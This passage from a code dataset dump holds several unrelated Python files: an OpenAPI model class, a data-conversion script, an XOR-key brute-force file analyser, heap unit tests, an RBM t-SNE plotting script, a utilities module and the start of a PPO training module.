btfs_value_boolean1195.BTFSValueBoolean1195,\n },\n }\n\n attribute_map = {\n \"bt_type\": \"btType\", # noqa: E501\n \"configuration_value_string\": \"configurationValueString\", # noqa: E501\n \"standard_type_name\": \"standardTypeName\", # noqa: E501\n \"type_tag\": \"typeTag\", # noqa: E501\n \"value_object\": \"valueObject\", # noqa: E501\n }\n\n @staticmethod\n def _composed_schemas():\n return None\n\n required_properties = set(\n [\n \"_data_store\",\n \"_check_type\",\n \"_from_server\",\n \"_path_to_item\",\n \"_configuration\",\n ]\n )\n\n def __init__(\n self,\n _check_type=True,\n _from_server=False,\n _path_to_item=(),\n _configuration=None,\n **kwargs\n ): # noqa: E501\n \"\"\"btfs_value1888.BTFSValue1888 - a model defined in OpenAPI\n\n Keyword Args:\n _check_type (bool): if True, values for parameters in openapi_types\n will be type checked and a TypeError will be\n raised if the wrong type is input.\n Defaults to True\n _path_to_item (tuple/list): This is a list of keys or values to\n drill down to the model in received_data\n when deserializing a response\n _from_server (bool): True if the data is from the server\n False if the data is from the client (default)\n _configuration (Configuration): the instance to use when\n deserializing a file_type parameter.\n If passed, type conversion is attempted\n If omitted no type conversion is done.\n bt_type (str): [optional] # noqa: E501\n configuration_value_string (str): [optional] # noqa: E501\n standard_type_name (str): [optional] # noqa: E501\n type_tag (str): [optional] # noqa: E501\n value_object (bool, date, datetime, dict, float, int, list, str): [optional] # noqa: E501\n \"\"\"\n\n self._data_store = {}\n self._check_type = _check_type\n self._from_server = _from_server\n self._path_to_item = _path_to_item\n self._configuration = _configuration\n\n for var_name, var_value in six.iteritems(kwargs):\n if (\n var_name not in self.attribute_map\n and self._configuration is not None\n and self._configuration.discard_unknown_keys\n and self.additional_properties_type is None\n ):\n # discard variable.\n continue\n setattr(self, var_name, var_value)\n\n @classmethod\n def get_discriminator_class(cls, from_server, data):\n \"\"\"Returns the child class specified by the discriminator\"\"\"\n discriminator = cls.discriminator()\n discr_propertyname_py = list(discriminator.keys())[0]\n discr_propertyname_js = cls.attribute_map[discr_propertyname_py]\n if from_server:\n class_name = data[discr_propertyname_js]\n else:\n class_name = data[discr_propertyname_py]\n class_name_to_discr_class = discriminator[discr_propertyname_py]\n return class_name_to_discr_class.get(class_name)\n","sub_path":"python/onshape_client/oas/models/btfs_value1888.py","file_name":"btfs_value1888.py","file_ext":"py","file_size_in_byte":8521,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"206213776","text":"import numpy as np\n\n# Read In MSD Data From TXT Files\n# Data From : https://archive.ics.uci.edu/ml/datasets/YearPredictionMSD\nmsd_data = np.genfromtxt('./YearPredictionMSD.txt', delimiter=',')\n\n\n# Subset Into Training and Testing Data\ntrain_data = msd_data[0:463715, :]\ntest_data = msd_data[463715:, :]\n\n# Convert To npz\nnp.savez('./msd_data.npz', train_data=train_data, test_data=test_data)\n","sub_path":"sample_data/msd/convert_csv_to_npz.py","file_name":"convert_csv_to_npz.py","file_ext":"py","file_size_in_byte":392,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"399968136","text":"'''\nxorAscii v20140721 - John Moran (john@jtmoran.com)\n\nxorAscii iterates through each XOR key and outputs the percentage of \nASCII bytes returned, the long ASCII string returned and the number of \nASCII strings returned longer than 5 characters. It will also print \nthe resulting output if specified. This code is currently experimental.\n \nOptions:\n \n -f, --file XOR encrypted file\n -o --offset Offset to begin in bytes (Default: 0)\n -l, --length Length to read in bytes (Default: 100)\n -x, --xorlen XOR key length in bytes (1 or 2, Default: 1)\n -t --threshold Minimum % ASCII characters to print\n -p --print Print Hex and ASCII view of XOR'd data\n -h, --help Show help'''\n\nimport os\nimport getopt\nimport sys\nfrom string import ascii_letters, digits, punctuation\n \n#XOR data \ndef xor(data, key):\n l = len(key)\n return bytearray(((data[i] ^ key[i % l]) for i in range(0,len(data))))\n\n#Print data in hex view\ndef bufferToHex(buffer, start, count):\n accumulator = ''\n for item in range(count):\n accumulator += '%02X' % buffer[start + item] + ' '\n return accumulator\n\n#Print data in ascii view\ndef bufferToAscii(buffer, start, count):\n accumulator = ''\n for item in range(count):\n char = chr(buffer[start + item])\n if char in ascii_letters or char in digits or char in punctuation or char == ' ':\n accumulator += char\n else:\n accumulator += '.'\n return accumulator\n\ndef printXORData(xorData) :\n index = 0\n size = 16\n bytesRead = len(xorData)\n hexFormat = '{:'+str(size*3)+'}'\n asciiFormat = '{:'+str(size)+'}'\n print(\"--------------------------------------------------------------------\")\n while index < bytesRead:\n hex = bufferToHex(xorData, index, size)\n ascii = bufferToAscii(xorData, index, size)\n print(hexFormat.format(hex), end='')\n print('|',asciiFormat.format(ascii),'|')\n index += size\n if bytesRead - index < size:\n size = bytesRead - index\n print(\"--------------------------------------------------------------------\")\n \ndef main (argv):\n\t#Get command line options\n threshold = 60\n length = 100\n offset = 0\n xorlen = 1\n printData = 0\n xorbits = 2 ** (int(xorlen) * 8)\n try:\n\t opts, args = getopt.getopt(argv, \"f:x:o:l:t:ph\", [\"file=\", \"length=\", \"string=\", \"threshold=\", \"print\", \"help\"])\n except getopt.GetoptError:\n print(__doc__)\n sys.exit(2)\n optsDict = dict(opts)\n if not \"-f\" in optsDict:\n print(\"Error: File name required!\")\n print(__doc__)\n raise SystemExit\n for opt, arg in opts: \n\t #Help\n if opt in (\"-h\", \"--help\"):\n print(__doc__)\n raise SystemExit\t\n \t#File\n if opt in (\"-f\", \"--file\"):\n fname = arg\n #Length\n if opt in (\"-l\", \"--length\"):\n try:\n length = int(arg)\n except:\n print(\"Error: Invalid length!\")\n print(__doc__)\n raise SystemExit\n \t#Offset\n if opt in (\"-o\", \"--offset\"):\n try:\n offset = int(arg)\n except:\n print(\"Error: Invalid length!\")\n print(__doc__)\n raise SystemExit\n \t#Threshold\n if opt in (\"-t\", \"--threshold\"):\n try:\n threshold = int(arg)\n except:\n print(\"Error: Invalid threshold!\")\n print(__doc__)\n raise SystemExit\n #Print Data\n if opt in (\"-p\", \"--print\"):\n printData = 1\n #Key Length\n if opt in (\"-x\", \"--xorlen\"):\n try:\n if ( 1 > int(arg) > 2):\n print(\"Error: XOR key length must be between 1 and 2!\")\n print(__doc__)\n raise SystemExit\n xorlen = int(arg)\n xorbits = 2 ** (int(xorlen) * 8)\n except:\n print(\"Error: Invalid XOR key length!\")\n print(__doc__)\n raise SystemExit\n print(\"xorAscii v20140727\")\n try:\n fh = open(fname, \"rb\")\n except:\n print(\"Error: Unable to open '\" + fname + \"'\")\n print(__doc__)\n raise SystemExit\n #Make sure length and offset are valid\n finfo = os.stat(fname)\n if (finfo.st_size < int(length) + int(offset)):\n print(\"Error: Length or offset too large! Read past EOF\")\n raise SystemExit\t\n else:\n fh.seek(offset)\n b = bytearray(fh.read(length))\n hexrange = []\n asciiChrs = []\n #Add 0-9\n for a in range(48,57):\n asciiChrs.append(a)\n #Add A-Z\n for a in range(65,90):\n asciiChrs.append(a)\n #Add a-z\n for a in range(97,122):\n asciiChrs.append(a)\n for i in range(0,xorbits):\n hexrange.append(i)\n print(\"--------------------------------------------------------------------\")\n print(\"|{0:^15}|{1:^15}|{2:^15}|{3:^18}|\".format(\"XOR Key\", \"% ASCII Bytes\", \"Longest ASCII\", \"# ASCII Strings\")) \n print(\"|{0:^15}|{1:^15}|{2:^15}|{3:^18}|\".format(\"\", \"\", \"String\", \"Longer 5 Chr\"))\n print(\"--------------------------------------------------------------------\")\n for h in hexrange :\n tmpCnt = 0\n longest = 0\n over4 = 0\n if xorlen == 1: \n hexStr = \"%#0.2x\"%((h))\n h1 = int(hexStr[2:4],16)\n key = bytearray([h1])\n xorData = xor(b, key)\n asciiCount = 0\n dataLen = len(xorData)\n for x in xorData:\n if x in asciiChrs:\n asciiCount += 1\n tmpCnt += 1\n else:\n if tmpCnt > longest: longest = tmpCnt\n if tmpCnt > 4: over4 += 1\n tmpCnt = 0\n perAscii = (asciiCount/dataLen) * 100\n if perAscii >= threshold :\n print(\"|{0:^15}|{1:^15.0f}|{2:^15}|{3:^18}|\".format(hexStr, perAscii, longest, over4)) \n if printData: printXORData(xorData)\n else:\n hexStr = \"%#0.4x\"%((h))\n h1 = int(hexStr[2:4],16)\n h2 = int(hexStr[4:6],16)\n key = bytearray([h1, h2])\n xorData = xor(b, key)\n asciiCount = 0\n dataLen = len(xorData)\n for x in xorData:\n if x in asciiChrs:\n asciiCount += 1\n tmpCnt += 1\n else:\n if tmpCnt > longest: longest = tmpCnt\n if tmpCnt > 4: over4 += 1\n tmpCnt = 0\n perAscii = (asciiCount/dataLen) * 100\n if perAscii >= threshold :\n print(\"|{0:^15}|{1:^15.0f}|{2:^15}|{3:^18}|\".format(hexStr, perAscii, longest, over4)) \n if printData: printXORData(xorData)\n print(\"--------------------------------------------------------------------\")\nif __name__ == \"__main__\":\n main(sys.argv[1:]) \n \n\n","sub_path":"xorAscii.py","file_name":"xorAscii.py","file_ext":"py","file_size_in_byte":7100,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"68004256","text":"# Name: Jeffery Ho\r\n# Section: 202 - 11\r\n\r\nimport unittest\r\nfrom heap_lab import *\r\n\r\nclass TestList(unittest.TestCase):\r\n def test_insert(self):\r\n heap1 = MaxHeap(6)\r\n heap1.heap = [0,5,4,3,2]\r\n heap1.size = 4\r\n heap1.insert(1)\r\n result1 = MaxHeap(6)\r\n result1.size = 5\r\n result1.heap =[0,5,4,3,2,1]\r\n self.assertEqual(heap1, result1)\r\n self.assertTrue(heap1.insert(0))\r\n self.assertFalse(heap1.insert(10))\r\n\r\n\r\n def test_find_max(self):\r\n heap1 = MaxHeap(6)\r\n heap1.heap = [0,5,4,3,2]\r\n heap1.size = 4\r\n heap2 = MaxHeap(6)\r\n self.assertEqual(heap1.find_max(), 5)\r\n self.assertFalse(heap2.find_max())\r\n\r\n def test_del_max(self):\r\n heap1 = MaxHeap(6)\r\n heap1.heap = [0,5,4,3,2]\r\n heap1.size = 4\r\n heap2 = MaxHeap(6)\r\n heap2.size = 3\r\n heap2.heap = [0,4,2,3]\r\n heap3 = MaxHeap(6)\r\n self.assertEqual(heap1.del_max(), 5)\r\n self.assertEqual(heap3.del_max(), None)\r\n\r\n def test_heap_contents(self):\r\n heap1 = MaxHeap(6)\r\n heap1.heap = [0,5,4,3,2]\r\n heap1.size = 4\r\n self.assertEqual(heap1.heap_contents(), [0,5,4,3,2])\r\n\r\n def test_build_heap(self):\r\n heap1 = MaxHeap(6)\r\n heap1.heap = [0,5,3,4,2]\r\n heap1.size = 4\r\n alist = [2,3,4,5]\r\n heap2 = MaxHeap(6)\r\n heap3 = MaxHeap(3)\r\n self.assertTrue(heap2.build_heap(alist))\r\n self.assertTrue(heap2 == heap1)\r\n self.assertFalse(heap3.build_heap(alist))\r\n\r\n def test_is_empty(self):\r\n heap1 = MaxHeap(6)\r\n self.assertTrue(heap1.is_empty())\r\n heap1.insert(1)\r\n self.assertFalse(heap1.is_empty())\r\n\r\n def test_is_full(self):\r\n heap1 = MaxHeap(1)\r\n self.assertFalse(heap1.is_full())\r\n heap1.insert(1)\r\n self.assertTrue(heap1.is_full())\r\n\r\n def test_get_heap_cap(self):\r\n heap1 = MaxHeap(1)\r\n self.assertEqual(heap1.get_heap_cap(), 1)\r\n\r\n def test_get_heap_size(self):\r\n heap1 = MaxHeap(1)\r\n self.assertEqual(heap1.get_heap_size(), 0)\r\n\r\n def test_perc_down(self):\r\n alist = [2,3,4,5]\r\n heap1 = MaxHeap(6)\r\n heap1.build_heap(alist)\r\n self.assertEqual(heap1.heap, [0,5,3,4,2])\r\n\r\n def test_perc_up(self):\r\n heap1 = MaxHeap(6)\r\n heap1.heap = [0,5,2,4,1]\r\n heap1.size = 4\r\n heap1.insert(3)\r\n self.assertEqual(heap1.heap, [0,5,3,4,1,2])\r\n\r\n def test_heap_sort_increase(self):\r\n heap1 = MaxHeap()\r\n alist = [1,2,3,4,5,6]\r\n self.assertEqual(heap1.heap_sort_increase(alist), [0,1,2,3,4,5,6])\r\n\r\nif __name__ == '__main__': \r\n unittest.main()\r\n","sub_path":"Lab 7/heap_lab_tests.py","file_name":"heap_lab_tests.py","file_ext":"py","file_size_in_byte":2742,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"157383987","text":"\n# coding: utf-8\n\n# In[120]:\n\n\nimport numpy as np \nimport pandas as pd \nimport sys \nimport os \nimport pickle \nimport matplotlib.pyplot as plt\nfrom sklearn.manifold import TSNE\n\n\n# In[121]:\n\n\ndef saveObject(obj,name): \n pickle.dump(obj,open( \"tsne/\"+name+\".pkl\", \"wb\" ))\n\ndef loadObject(name):\n obj = pickle.load( open( \"tsne/\"+name+\".pkl\", \"rb\" ) )\n return obj\n\n\n# In[122]:\n\n\nBintestFeatures = loadObject(\"BintestFeatures\")\nBintestLabels = loadObject(\"BintestLabels\")\n\n\n# In[123]:\n\n\n\n\n(test_row,test_col) = (np.shape(BintestFeatures)) #Validation Operation\n(t_row) = (np.shape(BintestLabels)) #Validation Operation\n\n\n# In[124]:\n\n\n#BintestFeatures[0]\n\n\n# In[125]:\n\n\nnp.random.seed(1234)\nk = 1\nnum_hidden = 3\nnum_visible = 784\nlr = 0.001\nepoch = 0\n\n\n# In[126]:\n\n\nnp_rng = np.random.RandomState(1234)\n\n\n# In[127]:\n\n\ndef sigmoid(x):\n return 1. / (1 + np.exp(-x))\n\n\ndef test(point,W,b,c):\n hid = sigmoid(np.dot(point,W) + b)\n re = sigmoid(np.dot(hid,W.T) + c)\n return re\n\n\n# # MAiN CODE\n\n# In[128]:\n\n\nprint(\"Here the testing starts, please check k and epoch \")\n\n[W,b,c] = loadObject(str(num_hidden))\nabstract = test(BintestFeatures,W,b,c)\nsaveObject(abstract,'abstract_hid_'+str(num_hidden))\n\n\n# In[129]:\n\n\n#Extract data\n\n# abstract = np.zeros([points,dim])\n# abstract = loadObject('abstract_hid_'+str(num_hidden)+'_itr_'+str(epoch)+'_k_'+str(k)+'_lr_'+str(lr))\n\n\n# In[130]:\n\n\n#Extract label\n# BintestLabels = np.zeros([points,1])\n# BintestLabels = loadObject('BintrainLabels')\n\n\n# In[131]:\n\n\nfeat_cols = [ 'pixel'+str(i) for i in range(784) ]\n\ndf = pd.DataFrame(abstract,columns=feat_cols)\ndf['label'] = BintestLabels\ndf['label'] = df['label'].apply(lambda i: str(i))\n\n\n# In[144]:\n\n\nrndperm = np.random.permutation(df.shape[0])\n\nn_sne = 10000 # since we have 10000 test images \n\ntsne = TSNE(n_components=2, verbose=0, perplexity=40, n_iter=250,learning_rate=100.0)\ntsne_results = tsne.fit_transform(df.loc[rndperm[:n_sne],feat_cols].values)\n\ndf_tsne = df.loc[rndperm[:n_sne],:].copy()\ndf_tsne['x-tsne'] = tsne_results[:,0]\ndf_tsne['y-tsne'] = tsne_results[:,1]\n\n\nsaveObject(df_tsne,'tsnehid_'+str(num_hidden))\n\n\n# In[145]:\n\n\nfrom ggplot import *\n\n\n# In[147]:\n\n\nchart = ggplot( df_tsne, aes(x='x-tsne', y='y-tsne', color='label') ) + geom_point(size=70,alpha=0.1) + ggtitle(\"k = \"+str(num_hidden)+\" tsne\")\nchart\n\nchart.save(str(num_hidden)+\"32\"+\".pdf\")\n\n\n# In[38]:\n\n\n\n\n","sub_path":"testingRBM.py","file_name":"testingRBM.py","file_ext":"py","file_size_in_byte":2401,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"558297472","text":"# -*- python -*-\n## -----------------------------------------------------------------------\n## Intent: This module contains general helper methods\n## -----------------------------------------------------------------------\n\n# -----------------------------------------------------------------------\n# Copyright 2022 Open Networking Foundation (ONF) and the ONF Contributors\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n# -----------------------------------------------------------------------\n\n##-------------------##\n##---] IMPORTS [---##\n##-------------------##\nimport sys\nimport pprint\n\n## ---------------------------------------------------------------------------\n## ---------------------------------------------------------------------------\ndef iam():\n \"\"\"Return name of a called method.\"\"\"\n\n func_name = sys._getframe(1).f_code.co_name # pylint: disable=protected-access\n iam = \"%s::%s\" % (__name__, func_name)\n return iam\n\n## -----------------------------------------------------------------------\n## Intent: Display a message then exit with non-zero status.\n## This method cannot be intercepted by try/except\n## -----------------------------------------------------------------------\ndef error(msg, exit_with=None, fatal=None):\n \"\"\"Display a message then exit with non-zero status.\n\n :param msg: Error mesage to display.\n :type msg: string\n\n :param exit_with: Shell exit status.\n :type exit_with: int, optional (default=2)\n\n :param fatal: When true raise an exception.\n :type fatal: bool (default=False)\n\n \"\"\"\n\n if exit_with is None:\n exit_with = 2\n\n if fatal is None:\n fatal = false\n\n if msg:\n if fatal:\n raise Exception(\"ERROR: %s\" % msg)\n else:\n print(\"\")\n print(\"ERROR: %s\" % msg)\n\n sys.exit(exit_with)\n\n# EOF\n","sub_path":"scripts/flog/main/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":2341,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"309627771","text":"from baselines.common import Dataset, explained_variance, fmt_row, zipsame\nfrom baselines import logger\nimport baselines.common.tf_util as U\nimport tensorflow as tf, numpy as np\nimport time\nfrom baselines.common.mpi_adam import MpiAdam\nfrom baselines.common.mpi_moments import mpi_moments\nfrom mpi4py import MPI\nfrom collections import deque\nimport os\nimport json\nimport pickle\n\ndef traj_segment_generator(pi, env, horizon, stochastic, num_parallel, num_cpu, rank, ob_size, ac_size, com):\n t = 0\n ac = env.action_space.sample() # not used, just so we have the datatype\n if num_parallel == 0:\n new = True # marks if we're on first timestep of an episode\n ob = env.reset()\n\n cur_ep_ret = 0 # return in current episode\n cur_ep_len = 0 # len of current episode\n ep_rets = [] # returns of completed episodes in this segment\n ep_lens = [] # lengths of ...\n\n # Initialize history arrays\n obs = np.array([ob for _ in range(horizon)])\n rews = np.zeros(horizon, 'float32')\n vpreds = np.zeros(horizon, 'float32')\n news = np.zeros(horizon, 'int32')\n acs = np.array([ac for _ in range(horizon)])\n prevacs = acs.copy()\n\n while True:\n prevac = ac\n ac, vpred = pi.act(stochastic, ob)\n # Slight weirdness here because we need value function at time T\n # before returning segment [0, T-1] so we get the correct\n # terminal value\n if t > 0 and t % horizon == 0:\n yield {\"ob\" : obs, \"rew\" : rews, \"vpred\" : vpreds, \"new\" : news,\n \"ac\" : acs, \"prevac\" : prevacs, \"nextvpred\": vpred * (1 - new),\n \"ep_rets\" : ep_rets, \"ep_lens\" : ep_lens}\n # Be careful!!! if you change the downstream algorithm to aggregate\n # several of these batches, then be sure to do a deepcopy\n ep_rets = []\n ep_lens = []\n i = t % horizon\n obs[i] = ob\n vpreds[i] = vpred\n news[i] = new\n acs[i] = ac\n prevacs[i] = prevac\n\n ob, rew, new, _ = env.step(ac)\n rews[i] = rew\n\n cur_ep_ret += rew\n cur_ep_len += 1\n if new:\n ep_rets.append(cur_ep_ret)\n ep_lens.append(cur_ep_len)\n cur_ep_ret = 0\n cur_ep_len = 0\n ob = env.reset()\n t += 1\n elif num_cpu == num_parallel:\n new = True # marks if we're on first timestep of an episode\n\n if rank == 0:\n ob_whole = env.reset()\n #print(\"t = \" + str(t) + \" ob_whole = \" + str(ob_whole))\n ob_flat = np.reshape(ob_whole, num_parallel * ob_size)\n #print(\"Rank = 0 obs_whole = \" + str(ob_whole))\n else:\n ob_flat = None\n ob = np.zeros(ob_size, 'float32')\n com.Scatter(ob_flat, ob, root=0)\n\n #print(\"Rank = \" + str(rank) + \" ob = \" + str(ob))\n #exit(0)\n\n cur_ep_ret = 0 # return in current episode\n cur_ep_len = 0 # len of current episode\n ep_rets = [] # returns of completed episodes in this segment\n ep_lens = [] # lengths of ...\n\n # Initialize history arrays\n obs = np.array([ob for _ in range(horizon)])\n rews = np.zeros(horizon, 'float32')\n vpreds = np.zeros(horizon, 'float32')\n news = np.zeros(horizon, 'int32')\n\n acs = np.zeros((horizon, ac.shape[0]), 'float32')\n prevacs = acs.copy()\n ac = np.zeros(ac.shape[0], 'float32')\n\n vpred_a = np.zeros(1,'float32')\n rew_a = np.zeros(1,'float32')\n new_a = np.zeros(1,'uint8')\n while True:\n prevac = ac\n #ac, vpred = pi.act(stochastic, ob)\n\n if rank == 0:\n ac_whole, vpred_whole = pi.act_parallel(stochastic, ob_whole)\n #print(\"t = \" + str(t) + \" ac_whole = \" + str(ac_whole) + \" vpred_whole = \" + str(vpred_whole))\n ac_flat = np.reshape(ac_whole, num_parallel * ac_size)\n vpred_flat = np.reshape(vpred_whole, num_parallel)\n else:\n ac_flat = None\n vpred_flat = None\n\n com.Scatter(ac_flat, ac, root=0)\n com.Scatter(vpred_flat, vpred_a, root=0)\n vpred = vpred_a[0]\n #print(\"t = \" + str(t) + \" rank = \" + str(rank) + \" ac = \" + str(ac) + \"vpred = \" + str(vpred))\n\n # Slight weirdness here because we need value function at time T\n # before returning segment [0, T-1] so we get the correct\n # terminal value\n if t > 0 and t % horizon == 0:\n yield {\"ob\": obs, \"rew\": rews, \"vpred\": vpreds, \"new\": news,\n \"ac\": acs, \"prevac\": prevacs, \"nextvpred\": vpred * (1 - new),\n \"ep_rets\": ep_rets, \"ep_lens\": ep_lens}\n # Be careful!!! if you change the downstream algorithm to aggregate\n # several of these batches, then be sure to do a deepcopy\n ep_rets = []\n ep_lens = []\n i = t % horizon\n obs[i] = ob\n vpreds[i] = vpred\n news[i] = new\n acs[i] = ac\n prevacs[i] = prevac\n #print(\"rank = \" + str(rank)+ \" i = \" + str(i) + \" ob = \" + str(ob))\n if rank == 0:\n ob_whole, rew_whole, new_whole, _ = env.step_parallel(ac_whole)\n #print(\"t = \" + str(t) + \" ob_whole = \" + str(ob_whole) + \" rew_whole = \" + str(rew_whole) + \" new_whole = \" + str(new_whole))\n\n ob_flat = np.reshape(ob_whole, num_parallel * ob_size)\n rew_flat = np.reshape(rew_whole, num_parallel)\n new_flat = np.reshape(new_whole, num_parallel)\n #print(\"t = \" + str(t) + \" ob_flat= \" + str(ob_flat) + \" rew_flat = \" + str(rew_flat) + \" new_flat = \" + str(new_flat))\n else:\n ob_flat = None\n rew_flat = None\n new_flat = None\n\n com.Scatter(ob_flat, ob, root=0)\n com.Scatter(rew_flat, rew_a, root=0)\n rew = rew_a[0]\n com.Scatter(new_flat, new_a, root=0)\n new = new_a[0]\n #print(\"t = \" + str(t) + \" rank = \" + str(rank) + \" ob = \" + str(ob) + \" rew = \" + str(rew)+ \" new = \" + str(new))\n\n rews[i] = rew\n\n cur_ep_ret += rew\n cur_ep_len += 1\n if new:\n ep_rets.append(cur_ep_ret)\n ep_lens.append(cur_ep_len)\n cur_ep_ret = 0\n cur_ep_len = 0\n #ob = env.reset()\n t += 1\n else:\n new = np.ones(num_parallel, 'int32') # marks if we're on first timestep of an episode\n\n ob = env.reset_parallel()\n cur_ep_ret = [0 for _ in range(num_parallel)]\n cur_ep_len = [0 for _ in range(num_parallel)]\n ep_rets = [[] for _ in range(num_parallel)] # returns of completed episodes in this segment\n ep_lens = [[] for _ in range(num_parallel)] # lengths of ...\n\n # Initialize history arrays\n #obs = np.array([[ob for _ in range(horizon)] for __ in range(num_parallel)])\n obs = np.zeros((num_parallel, horizon, ob.shape[1]),'float32')\n rews = np.zeros((num_parallel, horizon), 'float32')\n vpreds = np.zeros((num_parallel, horizon), 'float32')\n news = np.zeros((num_parallel, horizon), 'int32')\n #acs = np.array([[ac for _ in range(horizon)] for __ in range(num_parallel)])\n acs = np.zeros((num_parallel, horizon, ac.shape[0]),'float32')\n prevacs = acs.copy()\n ac = np.zeros((num_parallel, ac.shape[0]),'float32')\n\n while True:\n prevac = ac\n ac, vpred = pi.act_parallel(stochastic, ob)\n #print(\"t = \" + str(t) + \" ac = \" + str(ac) + \" vpred = \" + str(vpred))\n # Slight weirdness here because we need value function at time T\n # before returning segment [0, T-1] so we get the correct\n # terminal value\n if t > 0 and t % horizon == 0:\n obs_all = np.reshape(obs, (horizon * num_parallel,-1))\n rews_all = np.reshape(rews, horizon * num_parallel)\n #for j in range(num_parallel):\n # vpreds[j][horizon] = vpred[j] * (1 - new[j])\n #vpreds_all = np.reshape(vpreds, horizon * num_parallel)\n vpreds_all = vpreds\n news_all = np.reshape(news, horizon * num_parallel)\n acs_all = np.reshape(acs, (horizon * num_parallel, -1))\n prevacs_all = np.reshape(prevacs, (horizon * num_parallel,-1))\n ep_rets_all = [item for sublist in ep_rets for item in sublist]\n ep_lens_all = [item for sublist in ep_lens for item in sublist]\n yield {\"ob\" : obs_all, \"rew\" : rews_all, \"vpred\" : vpreds_all, \"new\" : news_all,\n \"ac\" : acs_all, \"prevac\" : prevacs_all, \"nextvpred\": vpred * (1.0 - new),\n \"ep_rets\" : ep_rets_all, \"ep_lens\" : ep_lens_all}\n # Be careful!!! if you change the downstream algorithm to aggregate\n # several of these batches, then be sure to do a deepcopy\n for j in range(num_parallel):\n ep_rets[j] = []\n ep_lens[j] = []\n i = t % horizon\n for j in range(num_parallel):\n obs[j][i] = ob[j]\n vpreds[j][i] = vpred[j]\n news[j][i] = new[j]\n acs[j][i] = ac[j]\n prevacs[j][i] = prevac[j]\n ob, rew, new, _ = env.step_parallel(ac)\n #print(\"t = \" + str(t) + \" ob = \" + str(ob) + \" rew = \" + str(rew) + \" new = \" + str(new))\n for j in range(num_parallel):\n rews[j][i] = rew[j]\n cur_ep_ret[j] += rew[j]\n cur_ep_len[j] += 1\n if new[j]:\n ep_rets[j].append(cur_ep_ret[j])\n ep_lens[j].append(cur_ep_len[j])\n cur_ep_ret[j] = 0\n cur_ep_len[j] = 0\n #ob = env.reset()\n t += 1\n\ndef add_vtarg_and_adv(seg, gamma, lam, horizon, num_parallel, num_cpu):\n \"\"\"\n Compute target value using TD(lambda) estimator, and advantage with GAE(lambda)\n \"\"\"\n if (num_parallel <= 1) or (num_cpu == num_parallel):\n new = np.append(seg[\"new\"], 0) # last element is only used for last vtarg, but we already zeroed it if last new = 1\n vpred = np.append(seg[\"vpred\"], seg[\"nextvpred\"])\n T = len(seg[\"rew\"])\n seg[\"adv\"] = gaelam = np.empty(T, 'float32')\n rew = seg[\"rew\"]\n lastgaelam = 0\n for t in reversed(range(T)):\n nonterminal = 1 - new[t+1]\n delta = rew[t] + gamma * vpred[t+1] * nonterminal - vpred[t]\n gaelam[t] = lastgaelam = delta + gamma * lam * nonterminal * lastgaelam\n\n else:\n #vpred = np.reshape(np.concatenate((seg[\"vpred\"], np.reshape(seg[\"nextvpred\"], (num_parallel,1)) ), axis=1), (horizon + 1) * num_parallel)\n new = seg[\"new\"]\n vpred = seg[\"vpred\"] = np.reshape(seg[\"vpred\"], horizon * num_parallel)\n T = len(seg[\"rew\"])\n seg[\"adv\"] = gaelam = np.empty(T, 'float32')\n rew = seg[\"rew\"]\n lastgaelam = 0\n for t in reversed(range(T)):\n if t % horizon == horizon-1: # last time step of an agent\n nonterminal = 1\n e = t // horizon\n delta = rew[t] + gamma * seg[\"nextvpred\"][e] * nonterminal - vpred[t]\n else:\n nonterminal = 1 - new[t + 1]\n delta = rew[t] + gamma * vpred[t + 1] * nonterminal - vpred[t]\n gaelam[t] = lastgaelam = delta + gamma * lam * nonterminal * lastgaelam\n #print(\"convpred = \" + str(vpred))\n seg[\"tdlamret\"] = seg[\"adv\"] + seg[\"vpred\"]\n\ndef learn(env, policy_func, *,\n timesteps_per_batch, # timesteps per actor per update\n clip_param, entcoeff, # clipping parameter epsilon, entropy coeff\n optim_epochs, optim_stepsize, optim_batchsize, # optimization hypers\n gamma, lam, # advantage estimation\n max_timesteps=0, max_episodes=0, max_iters=0, max_seconds=0, # time constraint\n noisy_nets=False,\n callback=None, # you can do anything in the callback, since it takes locals(), globals()\n adam_epsilon=1e-5,\n schedule='constant', # annealing for stepsize parameters (epsilon and adam)\n desired_kl=0.02,\n logdir=\".\",\n agentName=\"PPO-Agent\",\n resume = 0,\n num_parallel=1,\n num_cpu=1\n ):\n # Setup losses and stuff\n # ----------------------------------------\n rank = MPI.COMM_WORLD.Get_rank()\n ob_space = env.observation_space\n ac_space = env.action_space\n\n ob_size = ob_space.shape[0]\n ac_size = ac_space.shape[0]\n\n #print(\"rank = \" + str(rank) + \" ob_space = \"+str(ob_space.shape) + \" ac_space = \"+str(ac_space.shape))\n #exit(0)\n pi = policy_func(\"pi\", ob_space, ac_space, noisy_nets) # Construct network for new policy\n oldpi = policy_func(\"oldpi\", ob_space, ac_space, noisy_nets) # Network for old policy\n atarg = tf.placeholder(dtype=tf.float32, shape=[None]) # Target advantage function (if applicable)\n ret = tf.placeholder(dtype=tf.float32, shape=[None]) # Empirical return\n\n lrmult = tf.placeholder(name='lrmult', dtype=tf.float32, shape=[]) # learning rate multiplier, updated with schedule\n clip_param = clip_param * lrmult # Annealed cliping parameter epislon\n\n ob = U.get_placeholder_cached(name=\"ob\")\n ac = pi.pdtype.sample_placeholder([None])\n\n kloldnew = oldpi.pd.kl(pi.pd)\n ent = pi.pd.entropy()\n meankl = U.mean(kloldnew)\n meanent = U.mean(ent)\n pol_entpen = (-entcoeff) * meanent\n\n ratio = tf.exp(pi.pd.logp(ac) - oldpi.pd.logp(ac)) # pnew / pold\n surr1 = ratio * atarg # surrogate from conservative policy iteration\n surr2 = U.clip(ratio, 1.0 - 